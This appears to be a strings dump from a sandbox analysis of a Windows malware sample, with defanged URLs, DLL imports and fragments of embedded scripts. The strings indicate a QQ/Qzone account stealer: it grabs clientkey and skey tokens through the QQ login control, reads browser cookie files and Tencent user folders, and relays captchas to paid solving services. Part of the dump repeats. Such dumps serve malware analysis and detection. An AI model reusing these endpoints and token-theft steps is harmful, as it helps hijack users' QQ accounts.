&ptlang=2052&low_login_enable=0&u1=http://m.qzone.com/infocenter?g_f=2425&from_ui=1&fp=loginerroralert&device=2&aid=549000929&pt_ttype=1&pt_3rd_aid=0&ptredirect=1&h=1&g=1&pt_uistyle=9&pt_vcode_v1=0&pt_verifysession_v1=

hXXp://ptlogin2.qzone.com/login?verifycode=

hXXp://ui.ptlogin2.qzone.com/cgi-bin/login?style=9&appid=549000929&pt_ttype=1&s_url=http://m.qzone.com/infocenter?g_f=2425

', '79822291');

ptmbsuperkey=

skey=

hXXp://ebook.3g.qq.com/?g_ut=2&g_f=1818&sid=

hXXp://sqq.3g.qq.com/index.jsp?g_f=1799&o_code=3gqqwap&sid=

'0','','0','

q.com/p/shalist.photo/fcgi-bin/fcg_list_album_v3?hostUin=

hXXp://user.qzone.

hXXp://m.qzone.com/album/fcg_album_operation?g_tk=

hXXp://m.qzone.com/infocenter?g_f=275&g_ut=3

Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; Droid4X-WIN Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

hXXp://up.qzone.com/cgi-bin/upload/cgi_upload_pic_v2

&hd_quality=96&output_type=json&preupload=1&charset=utf-8&output_charset=utf-8&logintype=sid&Exif_CameraMaker=&Exif_CameraModel=&Exif_Time=&uin=

&logintype=sid&mobile_dc=actiontype%3D2%26subactiontype%3D1%26reserves%3D1%26page_type%3D2%26app_id%3D7003&albumid=

WinHttp.WinHttpRequest.5.1

application/x-www-form-urlencoded

SetClientCertificate

VVV.baidu.com

798222986

%d/%d/%d %d:%d:%d

p@\Microsoft\Network\Connections\pbk\rasphone.pbk

ChangePasswordRequested

PasswordExpired

Math.round(new Date().getTime()/1000)

Math.round(new Date().getTime())

Math.round(new Date().getTime() * 100)

7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2

WScript.Shell

rundll32.exe url.dll,FileProtocolHandler

function trim_output() {while (output.length && (output[output.length - 1] === " " || output[output.length - 1] === indent_string)) {output.pop();}}

function print_newline(ignore_repeated) {ignore_repeated = typeof ignore_repeated === "undefined" ? true : ignore_repeated;trim_output();if (!output.length) {return;}if (output[output.length - 1] !== "\n" || !ignore_repeated) {output.push("\n");}for (var i = 0; i

function print_space() {var last_output = output.length ? output[output.length - 1] : " ";if (last_output !== " " && last_output !== "\n" && last_output !== indent_string) {output.push(" ");}}

function print_token() {output.push(token_text);}

function remove_indent() {if (output.length && output[output.length - 1] === indent_string) {output.pop();}}

function set_mode(mode) {modes.push(current_mode);current_mode = mode;}

function restore_mode() {do_block_just_closed = current_mode === "DO_BLOCK";current_mode = modes.pop();}

function in_array(what, arr) {for (var i = 0; i

indent_character = indent_character || " ";indent_size = indent_size || 4;indent_string = "";while (indent_size--) {indent_string = indent_character;}input = js_source_text;last_word = "";last_type = "TK_START_EXPR";last_text = "";output = [];do_block_just_closed = false;var_line = false;var_line_tainted = false;whitespace = "\n\r\t ".split("");wordchar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$".split("");punct = " - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=

x =a.replace(/^\s /, '')

1970/01/01 00:00:00

1970-01-01 00:00:00

Adodb.Stream

MSScriptControl.ScriptControl

Scripting.Encoder

1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,

1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,

1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,

1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2

digits["A".charCodeAt(0) i] = i

digits["a".charCodeAt(0) i] = i 26

for (var i=0; i

if (char.charCodeAt(0) > 126) return char

if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)

val = (digits[string.substr(0,1).charCodeAt(0)]

val = (digits[string.substr(1,1).charCodeAt(0)] >> 4)

val = (digits[string.substr(1,1).charCodeAt(0)] & 0xf)

val = ((digits[string.substr(2,1).charCodeAt(0)] >> 2)

val = ((digits[string.substr(2,1).charCodeAt(0)] & 0x3)

val = (digits[string.substr(3,1).charCodeAt(0)]

scriptIndex = encodingString.indexOf(marker, stringIndex)

unEncodingString = encodingString.substring(stringIndex, scriptIndex)

scriptIndex = marker.length

unEncodingString = encodingString.substr(stringIndex, encodingString.length)

encodingLength = encodingString.substr(scriptIndex, 6)

scriptIndex = (6 "==".length)

stringIndex = scriptIndex "DQgAAA==^#~@".length

char = encodingString.substr(scriptIndex, 1)

if (char.charCodeAt(0)

unEncodingString = String.fromCharCode(transformed[pick_encoding[unEncodingIndexd]][char.charCodeAt(0)])

unEncodingString = unescape(encodingString.substr( scriptIndex, 1))

re = new RegExp("(JScript|VBscript).encode", "gmi")

while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext RegExp.$1 RegExp.rightContext

strdec(AdodbStream.ReadText);

function urlencodeutf8(str) {

function urlencode(str) {

function urldecode(str) {

urlencode

0.0.0.0

0000000000

TempObj=JSON.parse(str);

var obj=JSON.parse(str);

Lobj.push(obj);

return Lobj.length;

function GetAllKey(){

Lobj = JSON.parse(str);

var str=JSON.stringify(Lobj);

return Lobj.str;

if (typeof Date.prototype.toJSON !== 'function') {

Date.prototype.toJSON = function (key) {

return isFinite(this.valueOf())

? this.getUTCFullYear() '-'

f(this.getUTCMonth() 1) '-'

f(this.getUTCDate()) 'T'

f(this.getUTCHours()) ':'

f(this.getUTCMinutes()) ':'

f(this.getUTCSeconds()) 'Z'

String.prototype.toJSON =

Number.prototype.toJSON =

Boolean.prototype.toJSON = function (key) {

return this.valueOf();

'"' : '\\"',

'\\': '\\\\'

escapable.lastIndex = 0;

return escapable.test(string) ? '"' string.replace(escapable, function (a) {

: '\\u' ('0000' a.charCodeAt(0).toString(16)).slice(-4);

function str(key, holder) {

k, // The member key.

value = holder[key];

typeof value.toJSON === 'function') {

value = value.toJSON(key);

value = rep.call(holder, key, value);

if (Object.prototype.toString.apply(value) === '[object Array]') {

length = value.length;

v = partial.length === 0

? '[\n' gap partial.join(',\n' gap) '\n' mind ']'

: '[' partial.join(',') ']';

length = rep.length;

partial.push(quote(k) (gap ? ': ' : ':') v);

if (Object.prototype.hasOwnProperty.call(value, k)) {

v = partial.length === 0

? '{\n' gap partial.join(',\n' gap) '\n' mind '}'

: '{' partial.join(',') '}';

if (typeof JSON.stringify !== 'function') {

JSON.stringify = function (value, replacer, space) {

typeof replacer.length !== 'number')) {

throw new Error('JSON.stringify');

if (typeof JSON.parse !== 'function') {

JSON.parse = function (text, reviver) {

function walk(holder, key) {

var k, v, value = holder[key];

if (Object.prototype.hasOwnProperty.call(value, k)) {

return reviver.call(holder, key, value);

cx.lastIndex = 0;

if (cx.test(text)) {

text = text.replace(cx, function (a) {

('0000' a.charCodeAt(0).toString(16)).slice(-4);

.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')

.replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g, ']')

.replace(/(?:^|:|,)(?:\s*\[) /g, ''))) {

throw new SyntaxError('JSON.parse');

JSON.stringify(Lobj['

Lobj.push("

Lobj.push(

Lobj.push('

Lobj.length

JSON.stringify(Lobj[

Lobj.splice(

JSON.stringify(Lobj

GetAllKey

function encrypt(str,pass){

data = m_xxtea.encrypt(str, pass);

function decrypt(str,pass){

data = m_xxtea.decrypt(str, pass);

if (str.match(/^[\x00-\x7f]*$/) != null) {

return str.toString();

len = str.length;

c = str.charCodeAt(i);

out[j] = str.charAt(i);

out[j] = String.fromCharCode(0xc0 | (c >>> 6),

out[j] = String.fromCharCode(0xe0 | (c >>> 12),

c2 = str.charCodeAt(i);

out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),

return out.join('');

if ((str.match(/^[\x00-\x7f]*$/) != null) ||

(str.match(/^[\x00-\xff]*$/) == null)) {

c = str.charCodeAt(i );

out[j ] = str.charAt(i - 1);

c2 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((c & 0x1f)

c3 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((c & 0x0f)

c4 = str.charCodeAt(i );

out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,

var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');

len = str.length;

c = str.charCodeAt(i )

str.charCodeAt(i )

str.charCodeAt(i );

c = str.charCodeAt(i );

c = str.charCodeAt(i )

return out.join('');

-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,

-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,

if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {

if (str.charAt(len - 2) == '=') {

else if (str.charAt(len - 1) == '=') {

c1 = base64DecodeChars[str.charCodeAt(i )];

c2 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode((c1 > 4));

c3 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));

c4 = base64DecodeChars[str.charCodeAt(i )];

out[j ] = String.fromCharCode(((c3 & 0x03)

var length = data.length;

data[i] = String.fromCharCode(

return data.join('').substring(0, n);

return data.join('');

var length = string.length;

result[i >> 2] = string.charCodeAt(i) |

string.charCodeAt(i 1)

string.charCodeAt(i 2)

string.charCodeAt(i 3)

result[result.length] = length;

this.encrypt = function(string, key) {

var k = stringToLongArray(key, false);

if (k.length

k.length = 4;

var n = v.length - 1;

var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;

this.decrypt = function(string, key) {

var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;

* See hXXp://pajhome.org.uk/crypt/md5 for details.

function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));}

function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));}

function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));}

function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));}

function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));}

function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));}

for(var i = 0; i

* Calculate the HMAC-SHA1 of a key and some data

function core_hmac_sha1(key, data)

var bkey = str2binb(key);

if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);

ipad[i] = bkey[i] ^ 0x36363636;

opad[i] = bkey[i] ^ 0x5C5C5C5C;

var hash = core_sha1(ipad.concat(str2binb(data)), 512 data.length * chrsz);

return core_sha1(opad.concat(hash), 512 160);

* Add integers, wrapping at 2^32. This uses 16-bit operations internally

for(var i = 0; i

bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask)

for(var i = 0; i

str = String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i2)) & mask);

for(var i = 0; i

str = hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 4)) & 0xF)

hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF);

for(var i = 0; i

if(i * 8 j * 6 > binarray.length * 32) str = b64pad;

else str = tab.charAt((triplet >> 6*(3-j)) & 0x3F);

__MSVCRT_HEAP_SELECT

qqcrypt.dll

/-UM2.SD60O:

6.LX:0GN?2CEE4>=L785T:1/Z=,*a?'%d@%#fB#!hB!

dA@(

(2015.06.23)

(2015.06.09)

(2015.05.28)

(2015.05.26)

(2015.05.25)

tn|px.lD

.comment {color:green}

*.txt

|*.txt

%d&&'

123456789

00003333

1.2.18

%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

MSWHEEL_ROLLMSG

Broken pipe

Inappropriate I/O control operation

Operation not permitted

iphlpapi.dll

MPR.dll

VERSION.dll

.PAVCNotSupportedException@@

(*.prn)|*.prn|

(*.*)|*.*||

Shell32.dll

Mpr.dll

Advapi32.dll

User32.dll

Gdi32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|PNG

(*.PNG)|*.PNG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

icmp.dll

windows

1.6.9

unsupported zlib version

png_read_image: unsupported transformation

out.prn

%d.%d

%d / %d

%d/%d

Bogus message code %d

libpng error: %s

libpng warning: %s

bad keyword

libpng does not support gamma background rgb_to_gray

Palette is NULL in indexed image

(%d-%d):

%ld%c

Y%d

X%d

Height%d

Width%d

RECT(%d, %d)-(%d, %d)

Styles0xX

Control ID%d

Handle0xX

burlywood

\winhlp32.exe

(*.avi)|*.avi

WPFT532.CNV

WPFT632.CNV

EXCEL32.CNV

write32.wpc

Windows Write

mswrd632.wpc

Word for Windows 6.0

wword5.cnv

Word for Windows 5.0

mswrd832.cnv

mswrd632.cnv

Word 6.0/95 for Windows & Macintosh

html32.cnv

:%d) |

%I64d%s

:0{}%s

:%d)%s

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

;3 #>6.&

'2, / 0&7!4-)1#

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

c:\%original file name%.exe

GetWindowsDirectoryA

WinExec

RegOpenKeyExA

RegCreateKeyExA

GetViewportExtEx

GetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

UnhookWindowsHookEx

SetWindowsHookExA

GetKeyState

CreateDialogIndirectParamA

%f]\"M ~

#include "l.chs\afxres.rc" // Standard components

AVIFIL32.dll

comdlg32.dll

RASAPI32.dll

WINMM.dll

WINSPOOL.DRV

9.5.25.212

1, 0, 6, 6

- Skin.dll

2014, 2, 7, 1

FastVerCode.DLL

CCaptchaRecognizer::recognizeByCodeTypeAndUrl

hXXp://s1.uudati.com:

hXXp://s1.taskok.com:

hXXp://s1.uudama.com:

hXXp://s1.uuwise.com:

/Api/config.aspx

2.0.0.5

WiseClientAPI-2.0.0.5

CCaptchaRecognizer::__UpdateTKEY

CCaptchaRecognizer::_IsNeedLogin

/Api/DecodeImg.aspx

xxxxxxxxxxx

hXXp://p1.uuwise.net:

hXXp://p1.uudama.net:

hXXp://p1.taskok.com:

hXXp://p1.uuwise.com:

hXXp://p1.uudama.com:

CCaptchaRecognizer::easyRecognizeUrl

%d%d%d%d%d

CCaptchaRecognizer::_CalcRandomPort

/Api/VerifyAPIFile.aspx

/Api/UserLogin.aspx

CCaptchaRecognizer::login

/Api/UserReg.aspx

/Api/PayCard.aspx

/Api/ReportError.aspx

CCaptchaRecognizer::reportError

/Api/UserPoint.aspx

|2.0.0.5|

/Api/DecodeResult.aspx

ID/KEY/

ByTypeBytes.JPG

%d-%d-%d

CHttpRequestHelper::_ReadResponse

User-Agent:WiseClient-2.0.0.5;

WiseClient-2.0.0.5

CHttpRequestHelper::_InternalRequest

CHttpRequestHelper::RequestGetImage

CHttpRequestHelper::RequestPost

ServerPort

UUExtConfig.ini

-:-:-.%d

tCRYPTDLL.DLL

3.cn.pool.ntp.org

2.cn.pool.ntp.org

1.cn.pool.ntp.org

0.cn.pool.ntp.org

cn.pool.ntp.org

\\.\PHYSICALDRIVE0

Microsoft Windows Millennium Edition

Microsoft Windows 98

Microsoft Windows 95

%s (Build %d)

Service Pack 6a (Build %d)

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009

Web Edition

Service Pack %d (Build %d)

Microsoft Windows NT

Microsoft Windows 2000

Microsoft Windows XP

Microsoft Windows Server 2003,

Microsoft Windows XP Professional x64 Edition

Microsoft Windows Server 2003 "R2"

Windows Server 2008

Windows Vista

Windows Server 2008 R2

Windows 7

ox-x-x-x-x-x

\Tencent\Users\*.*

nKERNEL32.DLL

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

!"#$%&'()* ,-.

uuwise.com

2, 0, 0, 5

1.0.0.1

!"#$%&'()* ,-

25, 0, 0, 1

Windows

6.0.2600.0 (xpclient.010817-1148)

6.0.2600.0

(*.*)

%original file name%.exe_812_rwx_00401000_0040A000:

t%SVh

t$(SSh

~%UVW

u$SShe

atl.dll

wininet.dll

FastVerCode.dll

UUWiseHelper.dll

dc.dll

gdiplus.dll

ole32.dll

gzip.dll

shlwapi.dll

Kernel32.dll

ADVAPI32.DLL

secur32.dll

advapi32.dll

shell32.dll

kernel32.dll

Rasapi32.dll

user32.dll

Psapi.dll

GdiPlus.dll

ntdll.dll

GetProcessHeap

ShellExecuteA

uu_loginA

GdiplusShutdown

CreateIoCompletionPort

ReportError

uu_reportError

EnumChildWindows

GetProcessHeaps

{B6F7542F-B8FE-46a8-9605-98856A687097}

{E5000198-4471-40e2-92BC-D0BA075BDBB2}

.idata

.edata

P.vmp0

`.vmp1

.reloc

P.rsrc

version.dll

1e.ro4A

oleaut32.dll

H0.gW

comctl32.dll

gdi32.dll

d.jF/"

r#'%C

6.Xdp

g|$^.Cn

>.bM8

>Z.Ye

w4R`$p%s*

f.zo~L^

wsock32.dll

Ã‹.L@

l.sQ{

c-t{.FF

b#I".wM

e.ENZ

xip.tu

@>.vO

%FX2Fsi

qKT.jLka

3.LD7

G,.gd

<.cff>

&8.XMj

$~O.Ba

)].Wd

/_{M%U

Q%s6|

lVfeVg

!%uO

mh.ud

m%Csn%

kq84.QaI

)f%fg

.SuDYw

K)`p.frC

*%s!%

aR.dDb&

.xk 4g

RegCloseKey

)%S{.

'U}.Ue

l%S(8x$!(

1L%UJ

.vtbw

.iA5N

yyhKa%S

d.Zd=#R

x0r%F{

.IPi)

Vj.jH

>M%X9

/8[

bc.lTk

ks_GetMsg

kssPlugin.dll

tole32.dll

SSOAxCtrlForPTLogin.SSOForPTLogin2

hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin

document.body.innerHTML=GetuinKey();

&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone

&clientkey=

hXXp://ptlogin2.qq.com/jump?clientuin=

skey=

; skey=

skey=@

cookies.txt

hXXp://user.qzone.qq.com/

user.qzone.qq.com

hXXp://user.qzone.qq.com/

%Program Files%\Internet Explorer\iexplore.exe

domain=qq.com

hXXp://

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies

\*.txt

qq.com

; domain=.qq.com

.rsrc

%S4WD

hg%fpM

S.Ac9SR

0.I%3s

,wAe.kI

aiUy'4xu

%c*@j

.eH'y

{&%U)

lj%4U

xe%CNs

9F.cLe

hJK.ZH

O.qt0

KERNEL32.DLL

COMCTL32.dll

GDI32.dll

MSIMG32.dll

MSVCRT.dll

MSVFW32.dll

USER32.dll

SkinH_EL.dll

\LZConfig.ini

\FastVerCode.dll

.text

`.rdata

@.data

@.reloc

NETAPI32.dll

MFC42.DLL

KERNEL32.dll

SHLWAPI.dll

WININET.dll

.PAVCObject@@

.PAVCException@@

.PAVCFileException@@

.PAVCInternetException@@

Content-Disposition: form-data; name="key"

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MALN)

POST /api.php?mod=yzm&act=state HTTP/1.1

/api.php?mod=yzm&act=state

LZConfig.ini

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)

HTTP/1.1

/api.php?mod=yzm&act=add

POST /api.php?mod=yzmm&act=result_new HTTP/1.1

/api.php?mod=yzmm&act=result_new

POST /api.php?mod=yzm&act=point HTTP/1.1

/api.php?mod=yzm&act=point

POST /api.php?mod=yzm&act=register HTTP/1.1

/api.php?mod=yzm&act=register

eee.hyslt.com

POST /api.php?mod=dmuser&act=yzm_error HTTP/1.1

/api.php?mod=dmuser&act=yzm_error

.hyslt.com

XXXXXX

hXXp://ip.qq.com/

POST /api.php?mod=yzm&act=server HTTP/1.1

/api.php?mod=yzm&act=server

\UUExtConfig.ini

CodeType=0\UUWiseHelper.dll

SSSSh

ByScreen.JPG

operator

GetProcessWindowStation

E:\work\UUWiseHelper

\UUWiseHelper.pdb

RegOpenKeyExW

ADVAPI32.dll

SHELL32.dll

OLEAUT32.dll

urlmon.dll

dbghelp.dll

IPHLPAPI.DLL

WS2_32.dll

GetCPInfo

UUWiseHelper.DLL

uu_easyRecognizeUrlA

uu_easyRecognizeUrlW

uu_loginW

uu_recognizeByCodeTypeAndUrlA

uu_recognizeByCodeTypeAndUrlW

zcÃ

"0,01070

8Â8J8R8x8

0#0'0-01070;0

=*>0>4>8>

5%6S6

3$3,383\3|3

:-1014,URL

:-19011,

TEAKEY

\dc.dll

WSOCK32.dll

MSVCP60.dll

ReportError_A

VBYB_ReportError

VB_ReportError

debug.ini

ReportError:%s

Error:%s

%s|!|%s

\dms.pdb

%u%u,

dclog.txt

config.ini

port

settimeout:%d

[%d]%s

reg2:%s

checkok:%s %s

check fail:%s %s %s

check:%s %s

getcjfail:%s %s

getcj:%s %s

%s%uout

%s%uin

put img ok:%s

put img fail:%s

put img:%s %s %d

get result ok:%s,%s

get result fail:%s

get result:%s

notifyfail ok:%s

%s\%d-%s.png

notifyfail fail:%s,%s

notifyfail:%s

getimgok:%s,%s

getimg:%s

getinfo fail:%s

getinfo:%s,%s

setresult:%s,%s

HTTP/1.1 200 OK

recv:%d

send:%d

GET /ip.txt HTTP/1.1

Host: %s

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2

select:%d

ioctlsocket:%d

socket:%d

api.qqchaoren.net

14.17.65.24

14.17.65.23

dama2.qqchaoren.net

dama1.qqchaoren.net

connect total:%s %d

:%s %d

connect discard:%s %d

[d-d-d d:d:d](u)

recv timeout:

recvfail:%d

server close:%d

recv:%d

send:%d

sendfail:%d

connect timeout:

connectok:%s %hu

127.0.0.1

1.1.3

eKC:\Windows\qqydw.ini

=798222986

=hXXp://VVV.qqydw.com

=hXXp://qqydw.com/sale.php?uid=5

\gzip.dll

`.data

gzip.pdb

_u%SV

1.edb

hXXp://VVV.qqydw.com/gx1.txt

:hXXp://VVV.eyuyan.cc

cookies-gtk.txt

JPG,GIF,PNG,JPEG)|*.*

0000020000

0000100000

474946383961

474946383761

0000100

00000100

0000020001002020

52494646

{557CF400-1A04-11D3-9A73-0000F81EF32E}

{557CF401-1A04-11D3-9A73-0000F81EF32E}

{557CF402-1A04-11D3-9A73-0000F81EF32E}

{557CF405-1A04-11D3-9A73-0000F81EF32E}

{557CF406-1A04-11D3-9A73-0000F81EF32E}

hXXp://VVV.jsdati.com

hXXp://VVV.qqchaoren.net

hXXp://VVV.uuwise.com

Hs("{pass}","{uin}","{code}")

{pass}

@1970-01-01 08:00:00

\IP.qyd

hXXp://VVV.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=ipÃ¦Å¸Â¥Ã¨Â¯Â¢

hXXp://VVV.ip138.com/ips138.asp

hXXp://r.qzone.qq.com/cgi-bin/user/qzone_cgi_msg_getcnt2?uin=

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.59 QQ/6.4.12593.201 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36

hXXp://check.ptlogin2.qzone.com/check?regmaster=

VVV.qqydw.com

hXXp://captcha.qq.com/cap_union_show?captype=3&lang=2052&aid=549000929&uin=

hXXp://captcha.qq.com/getimgbysig?aid=549000929&uin=

&0.7863333761803015

hXXp://captcha.qq.com/cap_union_verify?aid=549000929&uin=

hXXp://ptlogin2.qzone.com/login?verifycode=

hXXp://ui.ptlogin2.qzone.com/cgi-bin/login?style=9&appid=549000929&pt_ttype=1&s_url=http://m.qzone.com/infocenter?g_f=2425

', '79822291');

ptmbsuperkey=

skey=

hXXp://ebook.3g.qq.com/?g_ut=2&g_f=1818&sid=

hXXp://sqq.3g.qq.com/index.jsp?g_f=1799&o_code=3gqqwap&sid=

'0','','0','

q.com/p/shalist.photo/fcgi-bin/fcg_list_album_v3?hostUin=

hXXp://user.qzone.

hXXp://m.qzone.com/album/fcg_album_operation?g_tk=

hXXp://m.qzone.com/infocenter?g_f=275&g_ut=3

Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; Droid4X-WIN Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

hXXp://up.qzone.com/cgi-bin/upload/cgi_upload_pic_v2

&hd_quality=96&output_type=json&preupload=1&charset=utf-8&output_charset=utf-8&logintype=sid&Exif_CameraMaker=&Exif_CameraModel=&Exif_Time=&uin=

&logintype=sid&mobile_dc=actiontype%3D2%26subactiontype%3D1%26reserves%3D1%26page_type%3D2%26app_id%3D7003&albumid=

WinHttp.WinHttpRequest.5.1

application/x-www-form-urlencoded

SetClientCertificate

VVV.baidu.com

798222986

%d/%d/%d %d:%d:%d

p@\Microsoft\Network\Connections\pbk\rasphone.pbk

ChangePasswordRequested

PasswordExpired

Math.round(new Date().getTime()/1000)

Math.round(new Date().getTime())

Math.round(new Date().getTime() * 100)

7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2

WScript.Shell

rundll32.exe url.dll,FileProtocolHandler

function trim_output() {while (output.length && (output[output.length - 1] === " " || output[output.length - 1] === indent_string)) {output.pop();}}

function print_space() {var last_output = output.length ? output[output.length - 1] : " ";if (last_output !== " " && last_output !== "\n" && last_output !== indent_string) {output.push(" ");}}

function print_token() {output.push(token_text);}

function remove_indent() {if (output.length && output[output.length - 1] === indent_string) {output.pop();}}

function set_mode(mode) {modes.push(current_mode);current_mode = mode;}

function restore_mode() {do_block_just_closed = current_mode === "DO_BLOCK";current_mode = modes.pop();}

function in_array(what, arr) {for (var i = 0; i

x =a.replace(/^\s /, '')

1970/01/01 00:00:00

1970-01-01 00:00:00

Adodb.Stream

MSScriptControl.ScriptControl

Scripting.Encoder

1, 2, 0, 1, 2, 0, 2, 0, 0, 2, 0, 2, 1, 0, 2, 0,

1, 0, 2, 0, 1, 1, 2, 0, 0, 2, 1, 0, 2, 0, 0, 2,

1, 1, 0, 2, 0, 2, 0, 1, 0, 1, 1, 2, 0, 1, 0, 2,

1, 0, 2, 0, 1, 1, 2, 0, 0, 1, 1, 2, 0, 1, 0, 2

digits["A".charCodeAt(0) i] = i

digits["a".charCodeAt(0) i] = i 26

for (var i=0; i

if (char.charCodeAt(0) > 126) return char

if (escapes.indexOf(char) != -1) return escaped.substr(escapes.indexOf(char), 1)

val = (digits[string.substr(0,1).charCodeAt(0)]

val = (digits[string.substr(1,1).charCodeAt(0)] >> 4)

val = (digits[string.substr(1,1).charCodeAt(0)] & 0xf)

val = ((digits[string.substr(2,1).charCodeAt(0)] >> 2)

val = ((digits[string.substr(2,1).charCodeAt(0)] & 0x3)

val = (digits[string.substr(3,1).charCodeAt(0)]

scriptIndex = encodingString.indexOf(marker, stringIndex)

unEncodingString = encodingString.substring(stringIndex, scriptIndex)

scriptIndex = marker.length

unEncodingString = encodingString.substr(stringIndex, encodingString.length)

encodingLength = encodingString.substr(scriptIndex, 6)

scriptIndex = (6 "==".length)

stringIndex = scriptIndex "DQgAAA==^#~@".length

char = encodingString.substr(scriptIndex, 1)

if (char.charCodeAt(0)

unEncodingString = String.fromCharCode(transformed[pick_encoding[unEncodingIndexd]][char.charCodeAt(0)])

unEncodingString = unescape(encodingString.substr( scriptIndex, 1))

re = new RegExp("(JScript|VBscript).encode", "gmi")

while(arr = re.exec(unEncodingString)) unEncodingString = RegExp.leftContext RegExp.$1 RegExp.rightContext

strdec(AdodbStream.ReadText);

function urlencodeutf8(str) {

function urlencode(str) {

function urldecode(str) {

urlencode

0.0.0.0

0000000000

TempObj=JSON.parse(str);

var obj=JSON.parse(str);

Lobj.push(obj);

return Lobj.length;

function GetAllKey(){

Lobj = JSON.parse(str);

var str=JSON.stringify(Lobj);

return Lobj.str;

if (typeof Date.prototype.toJSON !== 'function') {

Date.prototype.toJSON = function (key) {

return isFinite(this.valueOf())

? this.getUTCFullYear() '-'

f(this.getUTCMonth() 1) '-'

f(this.getUTCDate()) 'T'

f(this.getUTCHours()) ':'

f(this.getUTCMinutes()) ':'

f(this.getUTCSeconds()) 'Z'

String.prototype.toJSON =

Number.prototype.toJSON =

Boolean.prototype.toJSON = function (key) {

return this.valueOf();

'"' : '\\"',

'\\': '\\\\'

escapable.lastIndex = 0;

return escapable.test(string) ? '"' string.replace(escapable, function (a) {

: '\\u' ('0000' a.charCodeAt(0).toString(16)).slice(-4);

function str(key, holder) {

k, // The member key.

value = holder[key];

typeof value.toJSON === 'function') {

value = value.toJSON(key);

value = rep.call(holder, key, value);

